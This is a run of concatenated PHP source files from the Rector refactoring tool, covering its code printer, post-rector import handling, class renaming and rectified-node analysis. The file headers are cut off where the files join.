$origNodes, int &$pos, int $indentAdjustment, string $parentNodeType, string $subNodeName, $fixup) : ?string { // reindex positions for printer $nodes = \array_values($nodes); $content = parent::pArray($nodes, $origNodes, $pos, $indentAdjustment, $parentNodeType, $subNodeName, $fixup); if ($content === null) { return $content; } if (!$this->containsNop($nodes)) { return $content; } return Strings::replace($content, self::EXTRA_SPACE_BEFORE_NOP_REGEX); } /** * Do not preslash all slashes (parent behavior), but only those: * * - followed by "\" * - by "'" * - or the end of the string * * Prevents `Vendor\Class` => `Vendor\\Class`. */ protected function pSingleQuotedString(string $string) : string { return "'" . Strings::replace($string, self::QUOTED_SLASH_REGEX, '\\\\$0') . "'"; } /** * Emulates 1_000 in PHP 7.3- version */ protected function pScalar_DNumber(DNumber $dNumber) : string { if ($this->shouldPrintNewRawValue($dNumber)) { return (string) $dNumber->getAttribute(AttributeKey::RAW_VALUE); } return parent::pScalar_DNumber($dNumber); } /** * Add space: * "use(" * ↓ * "use (" */ protected function pExpr_Closure(Closure $closure) : string { $closureContent = parent::pExpr_Closure($closure); if ($closure->uses === []) { return $closureContent; } return \str_replace(' use(', ' use (', (string) $closureContent); } /** * Do not add "()" on Expressions * @see https://github.com/rectorphp/rector/pull/401#discussion_r181487199 */ protected function pExpr_Yield(Yield_ $yield) : string { if (!$yield->value instanceof Expr) { return 'yield'; } // brackets are needed only in case of assign, @see https://www.php.net/manual/en/language.generators.syntax.php $shouldAddBrackets = (bool) $yield->getAttribute(AttributeKey::IS_ASSIGNED_TO); return \sprintf('%syield %s%s%s', $shouldAddBrackets ? '(' : '', $yield->key instanceof Expr ? $this->p($yield->key) . ' => ' : '', $this->p($yield->value), $shouldAddBrackets ? ')' : ''); } /** * Print arrays in short [] by default, * to prevent manual explicit array shortening. */ protected function pExpr_Array(Array_ $array) : string { if (!$array->hasAttribute(AttributeKey::KIND)) { $array->setAttribute(AttributeKey::KIND, Array_::KIND_SHORT); } if ($array->getAttribute(AttributeKey::NEWLINED_ARRAY_PRINT) === \true) { $printedArray = '['; $printedArray .= $this->pCommaSeparatedMultiline($array->items, \true); return $printedArray . ($this->nl . ']'); } return parent::pExpr_Array($array); } /** * Fixes escaping of regular patterns */ protected function pScalar_String(String_ $string) : string { $isRegularPattern = (bool) $string->getAttribute(AttributeKey::IS_REGULAR_PATTERN, \false); if (!$isRegularPattern) { return parent::pScalar_String($string); } $kind = $string->getAttribute(AttributeKey::KIND, String_::KIND_SINGLE_QUOTED); if ($kind === String_::KIND_DOUBLE_QUOTED) { return $this->wrapValueWith($string, '"'); } if ($kind === String_::KIND_SINGLE_QUOTED) { return $this->wrapValueWith($string, "'"); } return parent::pScalar_String($string); } /** * "...$params) : ReturnType" * ↓ * "...$params): ReturnType" */ protected function pStmt_ClassMethod(ClassMethod $classMethod) : string { $content = parent::pStmt_ClassMethod($classMethod); if (!$classMethod->returnType instanceof Node) { return $content; } // this approach is chosen, to keep changes in parent pStmt_ClassMethod() updated return Strings::replace($content, self::REPLACE_COLON_WITH_SPACE_REGEX, '$1: '); } /** * It remove all spaces extra to parent */ protected function pStmt_Declare(Declare_ $declare) : string { $declareString = parent::pStmt_Declare($declare); return Strings::replace($declareString, '#\\s+#'); } protected function pExpr_Ternary(Ternary $ternary) : string { $kind = $ternary->getAttribute(AttributeKey::KIND); if ($kind === 'wrapped_with_brackets') { $pExprTernary = parent::pExpr_Ternary($ternary); return '(' . $pExprTernary . ')'; } return parent::pExpr_Ternary($ternary); } protected function pScalar_EncapsedStringPart(EncapsedStringPart $encapsedStringPart) : string { // parent throws exception, but we need to compare string return '`' . $encapsedStringPart->value . '`'; } protected function pCommaSeparated(array $nodes) : string { $result = parent::pCommaSeparated($nodes); $last = \end($nodes); if ($last instanceof Node) { $trailingComma = $last->getAttribute(AttributeKey::FUNC_ARGS_TRAILING_COMMA); if ($trailingComma === \false) { $result = \rtrim($result, ','); } } return $result; } /** * Override parent pModifiers to set position of final and abstract modifier early, so instead of * * public final const MY_CONSTANT = "Hello world!"; * * it should be * * final public const MY_CONSTANT = "Hello world!"; * * @see https://github.com/rectorphp/rector/issues/6963 * @see https://github.com/nikic/PHP-Parser/pull/826 */ protected function pModifiers(int $modifiers) : string { return (($modifiers & Class_::MODIFIER_FINAL) !== 0 ? 'final ' : '') . (($modifiers & Class_::MODIFIER_ABSTRACT) !== 0 ? 'abstract ' : '') . (($modifiers & Class_::MODIFIER_PUBLIC) !== 0 ? 'public ' : '') . (($modifiers & Class_::MODIFIER_PROTECTED) !== 0 ? 'protected ' : '') . (($modifiers & Class_::MODIFIER_PRIVATE) !== 0 ? 'private ' : '') . (($modifiers & Class_::MODIFIER_STATIC) !== 0 ? 'static ' : '') . (($modifiers & Class_::MODIFIER_READONLY) !== 0 ? 'readonly ' : ''); } /** * Invoke re-print even if only raw value was changed. * That allows PHPStan to use int strict types, while changing the value with literal "_" * @return int|string */ protected function pScalar_LNumber(LNumber $lNumber) { if ($this->shouldPrintNewRawValue($lNumber)) { return (string) $lNumber->getAttribute(AttributeKey::RAW_VALUE); } return parent::pScalar_LNumber($lNumber); } protected function pExpr_MethodCall(MethodCall $methodCall) : string { if (SimpleParameterProvider::provideBoolParameter(Option::NEW_LINE_ON_FLUENT_CALL) === \false) { return parent::pExpr_MethodCall($methodCall); } if ($methodCall->var instanceof CallLike) { foreach ($methodCall->args as $arg) { if (!$arg instanceof Arg) { continue; } $arg->value->setAttribute(AttributeKey::ORIGINAL_NODE, null); } return $this->pDereferenceLhs($methodCall->var) . "\n" . $this->resolveIndentSpaces() . '->' . $this->pObjectProperty($methodCall->name) . '(' . $this->pMaybeMultiline($methodCall->args) . ')'; } return parent::pExpr_MethodCall($methodCall); } /** * Keep attributes on newlines */ protected function pParam(Param $param) : string { return $this->pAttrGroups($param->attrGroups) . $this->pModifiers($param->flags) . ($param->type instanceof Node ? $this->p($param->type) . ' ' : '') . ($param->byRef ? '&' : '') . ($param->variadic ? '...' : '') . $this->p($param->var) . ($param->default instanceof Expr ? ' = ' . $this->p($param->default) : ''); } private function resolveIndentSpaces() : string { $indentSize = SimpleParameterProvider::provideIntParameter(Option::INDENT_SIZE); return \str_repeat($this->getIndentCharacter(), $this->indentLevel) . \str_repeat($this->getIndentCharacter(), $indentSize); } /** * Must be a method to be able to react to changed parameter in tests */ private function getIndentCharacter() : string { return SimpleParameterProvider::provideStringParameter(Option::INDENT_CHAR, ' '); } /** * @param \PhpParser\Node\Scalar\LNumber|\PhpParser\Node\Scalar\DNumber $lNumber */ private function shouldPrintNewRawValue($lNumber) : bool { return $lNumber->getAttribute(AttributeKey::REPRINT_RAW_VALUE) === \true; } /** * @param Node[] $stmts * @return Node[]|mixed[] */ private function resolveNewStmts(array $stmts) : array { $stmts = \array_values($stmts); if (\count($stmts) === 1 && $stmts[0] instanceof FileWithoutNamespace) { return \array_values($stmts[0]->stmts); } return $stmts; } /** * @param Node[] $nodes */ private function containsNop(array $nodes) : bool { foreach ($nodes as $node) { if ($node instanceof Nop) { return \true; } } return \false; } private function wrapValueWith(String_ $string, string $wrap) : string { return $wrap . $string->value . $wrap; } } * @readonly */ private $tokens; /** * @param Stmt[] $stmts * @param array $tokens */ public function __construct(array $stmts, array $tokens) { $this->stmts = $stmts; $this->tokens = $tokens; } /** * @return Stmt[] */ public function getStmts() : array { return $this->stmts; } /** * @return array */ public function getTokens() : array { return $this->tokens; } } skipper = $skipper; $this->useAddingPostRector = $useAddingPostRector; $this->nameImportingPostRector = $nameImportingPostRector; $this->classRenamingPostRector = $classRenamingPostRector; $this->docblockNameImportingPostRector = $docblockNameImportingPostRector; $this->unusedImportRemovingPostRector = $unusedImportRemovingPostRector; $this->renamedClassesDataCollector = $renamedClassesDataCollector; } public function reset() : void { $this->postRectors = []; } /** * @param Stmt[] $stmts * @return Stmt[] */ public function traverse(array $stmts, File $file) : array { foreach ($this->getPostRectors() as $postRector) { // file must be set early into PostRector class to ensure its usage // always match on skipping process $postRector->setFile($file); if ($this->shouldSkipPostRector($postRector, $file->getFilePath(), $stmts)) { continue; } $nodeTraverser = new NodeTraverser(); $nodeTraverser->addVisitor($postRector); $stmts = $nodeTraverser->traverse($stmts); } return $stmts; } /** * @param Stmt[] $stmts */ private function shouldSkipPostRector(PostRectorInterface $postRector, string $filePath, array $stmts) : bool { if ($this->skipper->shouldSkipElementAndFilePath($postRector, $filePath)) { return \true; } // skip renaming if rename class rector is skipped if ($postRector instanceof ClassRenamingPostRector && $this->skipper->shouldSkipElementAndFilePath(RenameClassRector::class, $filePath)) { return \true; } return !$postRector->shouldTraverse($stmts); } /** * Load on the fly, to allow test reset with different configuration * @return PostRectorInterface[] */ private function getPostRectors() : array { if ($this->postRectors !== []) { return $this->postRectors; } $isRenamedClassEnabled = $this->renamedClassesDataCollector->getOldToNewClasses() !== []; $isNameImportingEnabled = SimpleParameterProvider::provideBoolParameter(Option::AUTO_IMPORT_NAMES); $isDocblockNameImportingEnabled = SimpleParameterProvider::provideBoolParameter(Option::AUTO_IMPORT_DOC_BLOCK_NAMES); $isRemovingUnusedImportsEnabled = SimpleParameterProvider::provideBoolParameter(Option::REMOVE_UNUSED_IMPORTS); $postRectors = []; // sorted by priority, to keep removed imports in order if ($isRenamedClassEnabled) { $postRectors[] = $this->classRenamingPostRector; } // import names if ($isNameImportingEnabled) { $postRectors[] = $this->nameImportingPostRector; } // import docblocks if ($isNameImportingEnabled && $isDocblockNameImportingEnabled) { $postRectors[] = $this->docblockNameImportingPostRector; } $postRectors[] = $this->useAddingPostRector; if ($isRemovingUnusedImportsEnabled) { $postRectors[] = $this->unusedImportRemovingPostRector; } $this->postRectors = $postRectors; return $this->postRectors; } } */ private $constantUseImportTypesInFilePath = []; /** * @var array */ private $functionUseImportTypesInFilePath = []; /** * @var array */ private $useImportTypesInFilePath = []; public function __construct(CurrentFileProvider $currentFileProvider, UseImportsResolver $useImportsResolver) { $this->currentFileProvider = $currentFileProvider; $this->useImportsResolver = $useImportsResolver; } public function addUseImport(FullyQualifiedObjectType $fullyQualifiedObjectType) : void { /** @var File $file */ $file = $this->currentFileProvider->getFile(); $this->useImportTypesInFilePath[$file->getFilePath()][] = $fullyQualifiedObjectType; } public function addConstantUseImport(FullyQualifiedObjectType $fullyQualifiedObjectType) : void { /** @var File $file */ $file = $this->currentFileProvider->getFile(); $this->constantUseImportTypesInFilePath[$file->getFilePath()][] = $fullyQualifiedObjectType; } public function addFunctionUseImport(FullyQualifiedObjectType $fullyQualifiedObjectType) : void { /** @var File $file */ $file = $this->currentFileProvider->getFile(); $this->functionUseImportTypesInFilePath[$file->getFilePath()][] = $fullyQualifiedObjectType; } /** * @return AliasedObjectType[]|FullyQualifiedObjectType[] */ public function getUseImportTypesByNode(File $file) : array { $filePath = $file->getFilePath(); $objectTypes = $this->useImportTypesInFilePath[$filePath] ?? []; $uses = $this->useImportsResolver->resolve(); foreach ($uses as $use) { $prefix = $this->useImportsResolver->resolvePrefix($use); foreach ($use->uses as $useUse) { if ($useUse->alias instanceof Identifier) { $objectTypes[] = new AliasedObjectType($useUse->alias->toString(), $prefix . $useUse->name); } else { $objectTypes[] = new FullyQualifiedObjectType($prefix . $useUse->name); } } } return $objectTypes; } public function hasImport(File $file, FullyQualified $fullyQualified, FullyQualifiedObjectType $fullyQualifiedObjectType) : bool { $useImports = $this->getUseImportTypesByNode($file); foreach ($useImports as $useImport) { if ($useImport->equals($fullyQualifiedObjectType)) { return \true; } } return \false; } public function isShortImported(File $file, FullyQualifiedObjectType $fullyQualifiedObjectType) : bool { $shortName = $fullyQualifiedObjectType->getShortName(); $filePath = $file->getFilePath(); $fileConstantUseImportTypes = $this->constantUseImportTypesInFilePath[$filePath] ?? []; foreach ($fileConstantUseImportTypes as $fileConstantUseImportType) { // don't compare strtolower for use const as insensitive is allowed, see https://3v4l.org/lteVa if ($fileConstantUseImportType->getShortName() === $shortName) { return \true; } } $shortName = \strtolower($shortName); if ($this->isShortClassImported($filePath, $shortName)) { return \true; } $fileFunctionUseImportTypes = $this->functionUseImportTypesInFilePath[$filePath] ?? []; foreach ($fileFunctionUseImportTypes as $fileFunctionUseImportType) { if (\strtolower($fileFunctionUseImportType->getShortName()) === $shortName) { return \true; } } return \false; } public function isImportShortable(File $file, FullyQualifiedObjectType $fullyQualifiedObjectType) : bool { $filePath = $file->getFilePath(); $fileUseImportTypes = $this->useImportTypesInFilePath[$filePath] ?? []; foreach ($fileUseImportTypes as $fileUseImportType) { if ($fullyQualifiedObjectType->equals($fileUseImportType)) { return \true; } } $constantImports = $this->constantUseImportTypesInFilePath[$filePath] ?? []; foreach ($constantImports as $constantImport) { if ($fullyQualifiedObjectType->equals($constantImport)) { return \true; } } $functionImports = $this->functionUseImportTypesInFilePath[$filePath] ?? []; foreach ($functionImports as $functionImport) { if ($fullyQualifiedObjectType->equals($functionImport)) { return \true; } } return \false; } /** * @return AliasedObjectType[]|FullyQualifiedObjectType[] */ public function getObjectImportsByFilePath(string $filePath) : array { return $this->useImportTypesInFilePath[$filePath] ?? []; } /** * @return FullyQualifiedObjectType[] */ public function getConstantImportsByFilePath(string $filePath) : array { return $this->constantUseImportTypesInFilePath[$filePath] ?? []; } /** * @return FullyQualifiedObjectType[] */ public function getFunctionImportsByFilePath(string $filePath) : array { return $this->functionUseImportTypesInFilePath[$filePath] ?? []; } private function isShortClassImported(string $filePath, string $shortName) : bool { $fileUseImports = $this->useImportTypesInFilePath[$filePath] ?? []; foreach ($fileUseImports as $fileUseImport) { if (\strtolower($fileUseImport->getShortName()) === $shortName) { return \true; } } return \false; } } */ private $shouldTraverseOnFiles = []; public function __construct(BetterNodeFinder $betterNodeFinder) { $this->betterNodeFinder = $betterNodeFinder; } /** * @param Stmt[] $stmts */ public function shouldTraverse(array $stmts, string $filePath) : bool { if (isset($this->shouldTraverseOnFiles[$filePath])) { return $this->shouldTraverseOnFiles[$filePath]; } $totalNamespaces = 0; // just loop the first level stmts to locate namespace to improve performance // as namespace is always on first level foreach ($stmts as $stmt) { if ($stmt instanceof Namespace_) { ++$totalNamespaces; } // skip if 2 namespaces are present if ($totalNamespaces === 2) { return $this->shouldTraverseOnFiles[$filePath] = \false; } } return $this->shouldTraverseOnFiles[$filePath] = !$this->betterNodeFinder->hasInstancesOf($stmts, [InlineHTML::class]); } } file = $file; } public function getFile() : File { Assert::isInstanceOf($this->file, File::class); return $this->file; } } */ private $oldToNewClasses = []; public function __construct(ClassRenamer $classRenamer, RenamedClassesDataCollector $renamedClassesDataCollector, UseImportsRemover $useImportsRemover, RenamedNameCollector $renamedNameCollector) { $this->classRenamer = $classRenamer; $this->renamedClassesDataCollector = $renamedClassesDataCollector; $this->useImportsRemover = $useImportsRemover; $this->renamedNameCollector = $renamedNameCollector; } /** * @param Stmt[] $nodes * @return Stmt[] */ public function beforeTraverse(array $nodes) : array { // ensure reset early on every run to avoid reuse existing value $this->rootNode = $this->resolveRootNode($nodes); return $nodes; } public function enterNode(Node $node) : ?Node { // no longer need post rename if (!$node instanceof Name) { return null; } /** @var Scope|null $scope */ $scope = $node->getAttribute(AttributeKey::SCOPE); if ($node instanceof FullyQualified) { $result = $this->classRenamer->renameNode($node, $this->oldToNewClasses, $scope); } else { $result = $this->resolveResultWithPhpAttributeName($node, $scope); } if (!SimpleParameterProvider::provideBoolParameter(Option::AUTO_IMPORT_NAMES)) { return $result; } if (!$this->rootNode instanceof FileWithoutNamespace && !$this->rootNode instanceof Namespace_) { return $result; } $removedUses = $this->renamedClassesDataCollector->getOldClasses(); $this->rootNode->stmts = $this->useImportsRemover->removeImportsFromStmts($this->rootNode->stmts, $removedUses); return $result; } /** * @param Node[] $nodes * @return Stmt[] */ public function afterTraverse(array $nodes) : array { $this->renamedNameCollector->reset(); return $nodes; } public function shouldTraverse(array $stmts) : bool { $this->oldToNewClasses = $this->renamedClassesDataCollector->getOldToNewClasses(); return $this->oldToNewClasses !== []; } private function resolveResultWithPhpAttributeName(Name $name, ?Scope $scope) : ?FullyQualified { $phpAttributeName = $name->getAttribute(AttributeKey::PHP_ATTRIBUTE_NAME); if (\is_string($phpAttributeName)) { return $this->classRenamer->renameNode(new FullyQualified($phpAttributeName, $name->getAttributes()), $this->oldToNewClasses, $scope); } return null; } /** * @param Stmt[] $nodes * @return \Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\Namespace_|null */ private function resolveRootNode(array $nodes) { foreach ($nodes as $node) { if ($node instanceof FileWithoutNamespace || $node instanceof Namespace_) { return $node; } } return null; } } docBlockNameImporter = $docBlockNameImporter; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->docBlockUpdater = $docBlockUpdater; $this->addUseStatementGuard = $addUseStatementGuard; } /** * @return \PhpParser\Node|int|null */ public function enterNode(Node $node) { if (!$node instanceof Stmt && !$node instanceof Param) { return null; } $phpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$phpDocInfo instanceof PhpDocInfo) { return null; } $hasDocChanged = $this->docBlockNameImporter->importNames($phpDocInfo->getPhpDocNode(), $node); if (!$hasDocChanged) { return null; } $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); return $node; } /** * @param Stmt[] $stmts */ public function shouldTraverse(array $stmts) : bool { return $this->addUseStatementGuard->shouldTraverse($stmts, $this->getFile()->getFilePath()); } } */ private $currentUses = []; public function __construct(NameImporter $nameImporter, UseImportsResolver $useImportsResolver, AddUseStatementGuard $addUseStatementGuard) { $this->nameImporter = $nameImporter; $this->useImportsResolver = $useImportsResolver; $this->addUseStatementGuard = $addUseStatementGuard; } public function beforeTraverse(array $nodes) { $this->currentUses = $this->useImportsResolver->resolve(); return $nodes; } /** * @return \PhpParser\Node|int|null */ public function enterNode(Node $node) { if (!$node instanceof FullyQualified) { return null; } return $this->nameImporter->importName($node, $this->getFile(), $this->currentUses); } /** * @param Stmt[] $stmts */ public function shouldTraverse(array $stmts) : bool { return $this->addUseStatementGuard->shouldTraverse($stmts, $this->getFile()->getFilePath()); } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function enterNode(Node $node) : ?Node { if (!$node instanceof Namespace_ && !$node instanceof FileWithoutNamespace) { return null; } $hasChanged = \false; $namespaceOriginalCase = $node instanceof Namespace_ && $node->name instanceof Name ? $node->name->toString() : null; $namesInOriginalCase = $this->resolveUsedPhpAndDocNames($node); $namesInLowerCase = \array_map(\Closure::fromCallable('strtolower'), $namesInOriginalCase); foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Use_) { continue; } if ($stmt->uses === [] || $namesInOriginalCase === []) { unset($node->stmts[$key]); $hasChanged = \true; continue; } $isCaseSensitive = $stmt->type === Use_::TYPE_CONSTANT; $names = $isCaseSensitive ? $namesInOriginalCase : $namesInLowerCase; $namespaceName = $namespaceOriginalCase === null ? null : ($isCaseSensitive ? $namespaceOriginalCase : \strtolower($namespaceOriginalCase)); foreach ($stmt->uses as $useUseKey => $useUse) { if ($this->isUseImportUsed($useUse, $isCaseSensitive, $names, $namespaceName)) { continue; } unset($stmt->uses[$useUseKey]); $hasChanged = \true; } if ($stmt->uses === []) { unset($node->stmts[$key]); } } if ($hasChanged === \false) { return null; } $node->stmts = \array_values($node->stmts); return $node; } /** * @return string[] * @param \PhpParser\Node\Stmt\Namespace_|\Rector\PhpParser\Node\CustomNode\FileWithoutNamespace $namespace */ private function findNonUseImportNames($namespace) : array { $names = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($namespace->stmts, static function (Node $node) use(&$names) { if ($node instanceof Use_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$node instanceof Name) { return null; } if ($node instanceof FullyQualified) { $originalName = $node->getAttribute(AttributeKey::ORIGINAL_NAME); if ($originalName instanceof Name) { // collect original Name as cover namespaced used $names[] = $originalName->toString(); return $node; } } $names[] = $node->toString(); return $node; }); return $names; } /** * @return string[] * @param \PhpParser\Node\Stmt\Namespace_|\Rector\PhpParser\Node\CustomNode\FileWithoutNamespace $namespace */ private function findNamesInDocBlocks($namespace) : array { $names = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($namespace, function (Node $node) use(&$names) { $comments = $node->getComments(); if ($comments === []) { return null; } $docs = \array_filter($comments, static function (Comment $comment) : bool { return $comment instanceof Doc; }); if ($docs === []) { return null; } $totalDocs = \count($docs); foreach ($docs as $doc) { $nodeToCheck = $totalDocs === 1 ? $node : clone $node; if ($totalDocs > 1) { $nodeToCheck->setDocComment($doc); } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($nodeToCheck); $names = \array_merge($names, $phpDocInfo->getAnnotationClassNames()); $constFetchNodeNames = $phpDocInfo->getConstFetchNodeClassNames(); $names = \array_merge($names, $constFetchNodeNames); $genericTagClassNames = $phpDocInfo->getGenericTagClassNames(); $names = \array_merge($names, $genericTagClassNames); $arrayItemTagClassNames = $phpDocInfo->getArrayItemNodeClassNames(); $names = \array_merge($names, $arrayItemTagClassNames); } }); return $names; } /** * @return string[] * @param \PhpParser\Node\Stmt\Namespace_|\Rector\PhpParser\Node\CustomNode\FileWithoutNamespace $namespace */ private function resolveUsedPhpAndDocNames($namespace) : array { $phpNames = $this->findNonUseImportNames($namespace); $docBlockNames = $this->findNamesInDocBlocks($namespace); $names = \array_merge($phpNames, $docBlockNames); return \array_unique($names); } /** * @param string[] $names */ private function isUseImportUsed(UseUse $useUse, bool $isCaseSensitive, array $names, ?string $namespaceName) : bool { $comparedName = $useUse->alias instanceof Identifier ? $useUse->alias->toString() : $useUse->name->toString(); if (!$isCaseSensitive) { $comparedName = \strtolower($comparedName); } if (\in_array($comparedName, $names, \true)) { return \true; } $lastName = Strings::after($comparedName, '\\', -1); $namespacedPrefix = $lastName . '\\'; if ($namespacedPrefix === '\\') { $namespacedPrefix = $comparedName . '\\'; } // match partial import foreach ($names as $name) { if ($this->isSubNamespace($name, $comparedName, $namespacedPrefix)) { return \true; } if (\strncmp($name, $lastName . '\\', \strlen($lastName . '\\')) !== 0) { continue; } if ($namespaceName === null) { return \true; } if (\strncmp($name, $namespaceName . '\\', \strlen($namespaceName . '\\')) !== 0) { return \true; } } return \false; } private function isSubNamespace(string $name, string $comparedName, string $namespacedPrefix) : bool { if (\substr_compare($comparedName, '\\' . $name, -\strlen('\\' . $name)) === 0) { return \true; } if (\strncmp($name, $namespacedPrefix, \strlen($namespacedPrefix)) === 0) { $subNamespace = \substr($name, \strlen($namespacedPrefix)); return \strpos($subNamespace, '\\') === \false; } return \false; } } typeFactory = $typeFactory; $this->useImportsAdder = $useImportsAdder; $this->useNodesToAddCollector = $useNodesToAddCollector; } /** * @param Stmt[] $nodes * @return Stmt[] */ public function beforeTraverse(array $nodes) : array { // no nodes → just return if ($nodes === []) { return $nodes; } $rootNode = $this->resolveRootNode($nodes); $useImportTypes = $this->useNodesToAddCollector->getObjectImportsByFilePath($this->getFile()->getFilePath()); $constantUseImportTypes = $this->useNodesToAddCollector->getConstantImportsByFilePath($this->getFile()->getFilePath()); $functionUseImportTypes = $this->useNodesToAddCollector->getFunctionImportsByFilePath($this->getFile()->getFilePath()); if ($useImportTypes === [] && $constantUseImportTypes === [] && $functionUseImportTypes === []) { return $nodes; } /** @var FullyQualifiedObjectType[] $useImportTypes */ $useImportTypes = $this->typeFactory->uniquateTypes($useImportTypes); if ($rootNode instanceof FileWithoutNamespace) { $nodes = $rootNode->stmts; } if (!$rootNode instanceof FileWithoutNamespace && !$rootNode instanceof Namespace_) { return $nodes; } return $this->resolveNodesWithImportedUses($nodes, $useImportTypes, $constantUseImportTypes, $functionUseImportTypes, $rootNode); } public function enterNode(Node $node) : int { /** * We stop the traversal because all the work has already been done in the beforeTraverse() function * * Using STOP_TRAVERSAL is usually dangerous as it will stop the processing of all your nodes for all visitors * but since the PostFileProcessor is using direct new NodeTraverser() and traverse() for only a single * visitor per execution, using stop traversal here is safe, * ref https://github.com/rectorphp/rector-src/blob/fc1e742fa4d9861ccdc5933f3b53613b8223438d/src/PostRector/Application/PostFileProcessor.php#L59-L61 */ return NodeTraverser::STOP_TRAVERSAL; } /** * @param Stmt[] $nodes * @param FullyQualifiedObjectType[] $useImportTypes * @param FullyQualifiedObjectType[] $constantUseImportTypes * @param FullyQualifiedObjectType[] $functionUseImportTypes * @return Stmt[] * @param \Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\Namespace_ $namespace */ private function resolveNodesWithImportedUses(array $nodes, array $useImportTypes, array $constantUseImportTypes, array $functionUseImportTypes, $namespace) : array { // A. has namespace? add under it if ($namespace instanceof Namespace_) { // then add, to prevent adding + removing false positive of same short use $this->useImportsAdder->addImportsToNamespace($namespace, $useImportTypes, $constantUseImportTypes, $functionUseImportTypes); return $nodes; } // B. no namespace? add in the top $useImportTypes = $this->filterOutNonNamespacedNames($useImportTypes); // then add, to prevent adding + removing false positive of same short use return $this->useImportsAdder->addImportsToStmts($namespace, $nodes, $useImportTypes, $constantUseImportTypes, $functionUseImportTypes); } /** * Prevents * @param FullyQualifiedObjectType[] $useImportTypes * @return FullyQualifiedObjectType[] */ private function filterOutNonNamespacedNames(array $useImportTypes) : array { $namespacedUseImportTypes = []; foreach ($useImportTypes as $useImportType) { if (\strpos($useImportType->getClassName(), '\\') === \false) { continue; } $namespacedUseImportTypes[] = $useImportType; } return $namespacedUseImportTypes; } /** * @param Stmt[] $nodes * @return \PhpParser\Node\Stmt\Namespace_|\Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|null */ private function resolveRootNode(array $nodes) { foreach ($nodes as $node) { if ($node instanceof FileWithoutNamespace || $node instanceof Namespace_) { return $node; } } return null; } } name = $name; $this->type = $type; $this->flags = $flags; } public function getName() : string { return $this->name; } public function getType() : ?Type { return $this->type; } public function getFlags() : int { return $this->flags; } } = 0 * - has above node skipped traverse children on current rule */ final class RectifiedAnalyzer { /** * @param class-string $rectorClass */ public function hasRectified(string $rectorClass, Node $node) : bool { $originalNode = $node->getAttribute(AttributeKey::ORIGINAL_NODE); if ($this->hasConsecutiveCreatedByRule($rectorClass, $node, $originalNode)) { return \true; } if ($this->isJustAddedAsNewStmt($node, $originalNode)) { return \true; } if ($this->isJustReprintedOverlappedTokenStart($node, $originalNode)) { return \true; } return $node->getAttribute(AttributeKey::SKIPPED_BY_RECTOR_RULE) === $rectorClass; } private function isJustAddedAsNewStmt(Node $node, ?Node $originalNode) : bool { return !$originalNode instanceof Node && $node instanceof Stmt && \array_keys($node->getAttributes()) === [AttributeKey::SCOPE]; } /** * @param class-string $rectorClass */ private function hasConsecutiveCreatedByRule(string $rectorClass, Node $node, ?Node $originalNode) : bool { $createdByRuleNode = $originalNode ?? $node; /** @var class-string[] $createdByRule */ $createdByRule = $createdByRuleNode->getAttribute(AttributeKey::CREATED_BY_RULE) ?? []; if ($createdByRule === []) { return \false; } return \end($createdByRule) === $rectorClass; } private function isJustReprintedOverlappedTokenStart(Node $node, ?Node $originalNode) : bool { if ($originalNode instanceof Node) { return \false; } /** * Start token pos must be < 0 to continue, as the node and parent node just re-printed * * - Node's original node is null * - Parent Node's original node is null */ $startTokenPos = $node->getStartTokenPos(); if ($startTokenPos >= 0) { return \true; } if ($node instanceof Stmt) { return !\in_array(AttributeKey::SCOPE, \array_keys($node->getAttributes()), \true); } return $node->getAttributes() === []; } } refactor()" returns non-empty array for Nodes. A) Direct return null for no change: return null; B) Remove the Node: return NodeTraverser::REMOVE_NODE; CODE_SAMPLE; /** * @var \Rector\NodeNameResolver\NodeNameResolver */ protected $nodeNameResolver; /** * @var \Rector\NodeTypeResolver\NodeTypeResolver */ protected $nodeTypeResolver; /** * @var \Rector\PhpParser\Node\NodeFactory */ protected $nodeFactory; /** * @var \Rector\PhpParser\Comparing\NodeComparator */ protected $nodeComparator; /** * @var \Rector\ValueObject\Application\File */ protected $file; /** * @var \Rector\Skipper\Skipper\Skipper */ protected $skipper; /** * @var \Rector\Application\ChangedNodeScopeRefresher */ private $changedNodeScopeRefresher; /** * @var \Rector\PhpDocParser\NodeTraverser\SimpleCallableNodeTraverser */ private $simpleCallableNodeTraverser; /** * @var \Rector\Application\Provider\CurrentFileProvider */ private $currentFileProvider; /** * @var array */ private $nodesToReturn = []; /** * @var \Rector\NodeDecorator\CreatedByRuleDecorator */ private $createdByRuleDecorator; /** * @var int|null */ private $toBeRemovedNodeId; public function autowire(NodeNameResolver $nodeNameResolver, NodeTypeResolver $nodeTypeResolver, SimpleCallableNodeTraverser $simpleCallableNodeTraverser, NodeFactory $nodeFactory, Skipper $skipper, NodeComparator $nodeComparator, CurrentFileProvider $currentFileProvider, CreatedByRuleDecorator $createdByRuleDecorator, ChangedNodeScopeRefresher $changedNodeScopeRefresher) : void { $this->nodeNameResolver = $nodeNameResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->nodeFactory = $nodeFactory; $this->skipper = $skipper; $this->nodeComparator = $nodeComparator; $this->currentFileProvider = $currentFileProvider; $this->createdByRuleDecorator = $createdByRuleDecorator; $this->changedNodeScopeRefresher = $changedNodeScopeRefresher; } /** * @return Node[]|null */ public function beforeTraverse(array $nodes) : ?array { // workaround for file around refactor() $file = $this->currentFileProvider->getFile(); if (!$file instanceof File) { throw new ShouldNotHappenException('File object is missing. Make sure you call $this->currentFileProvider->setFile(...) before traversing.'); } $this->file = $file; return parent::beforeTraverse($nodes); } /** * @return int|\PhpParser\Node|null */ public final function enterNode(Node $node) { if (!$this->isMatchingNodeType($node)) { return null; } $filePath = $this->file->getFilePath(); if ($this->skipper->shouldSkipCurrentNode($this, $filePath, static::class, $node)) { return null; } 